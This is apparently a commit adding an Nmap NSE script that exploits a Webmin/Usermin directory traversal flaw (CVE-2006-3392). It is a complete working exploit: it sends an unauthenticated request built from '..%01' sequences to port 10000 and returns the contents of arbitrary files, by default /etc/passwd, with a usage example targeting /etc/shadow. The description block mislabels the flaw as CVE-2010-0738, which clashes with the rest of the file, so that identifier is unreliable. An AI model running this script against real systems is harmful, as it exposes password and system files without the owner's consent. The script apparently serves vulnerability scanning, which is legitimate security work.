Added Paul Amar's Webmin File Disclosure NSE script (CVE-2006-3392).

scripts/http-vuln-cve2006-3392.nse

@@ -0,0 +1,80 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local vulns = require "vulns"
+
+description = [[
+Exploits a file disclosure vulnerability in Webmin (CVE-2010-0738)
+
+Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
+This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences 
+to bypass the removal of "../" directory traversal sequences.
+]]
+---
+-- @usage
+-- nmap -sV --script http-vuln-cve2006-3392 <target>
+-- nmap -p80 --script http-vuln-cve2006-3392 --script-args http-vuln-cve2006-3392.file=/etc/shadow <target>
+-- @output
+-- PORT   STATE SERVICE REASON
+-- 10000/tcp open  webmin    syn-ack
+-- | http-vuln-cve2006-3392: 
+-- |   VULNERABLE:
+-- |   Webmin File Disclosure
+-- |     State: VULNERABLE (Exploitable)
+-- |     IDs:  CVE:CVE-2006-3392
+-- |     Description:
+-- |       Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
+-- |       This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences 
+-- |       to bypass the removal of "../" directory traversal sequences.
+-- |     Disclosure date: 2006
+-- |     Extra information:
+-- |       Proof of Concept:/unauthenticated/..%01/..%01/(..)/etc/passwd
+-- |     References:
+-- |       http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
+-- |_      http://www.exploit-db.com/exploits/1997/
+--
+-- @args http-vuln-cve2006-3392.file <FILE>. Default: /etc/passwd
+---
+
+author = "Paul AMAR <aos.paul@gmail.com>"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln","intrusive"}
+
+portrule = shortport.portnumber({10000})
+
+action = function(host, port)
+  local file_var = stdnse.get_script_args(SCRIPT_NAME .. ".file") or "/etc/passwd"
+
+  local vuln = {
+       title = 'Webmin File Disclosure',
+       state = vulns.STATE.NOT_VULN, -- default
+       IDS = {CVE = 'CVE-2006-3392'},
+       description = [[
+Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
+This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences 
+to bypass the removal of "../" directory traversal sequences.
+]],
+       references = {
+          'http://www.exploit-db.com/exploits/1997/',
+          'http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure',
+       },
+       dates = {
+           disclosure = {year = '2006', month = '06', day = '29'},
+       },
+     }
+
+  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+  local url = "/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01" .. file_var
+
+  stdnse.print_debug(1, "Getting " .. file_var) 
+
+  local detection_session = http.get(host, port, url)
+
+  stdnse.print_debug(1, "Status code:"..detection_session.status)
+  if detection_session and detection_session.status == 200 then
+    vuln.state = vulns.STATE.EXPLOIT
+    stdnse.print_debug(1, detection_session.body)
+    return vuln_report:make_output(detection_session.body)
+  end
+end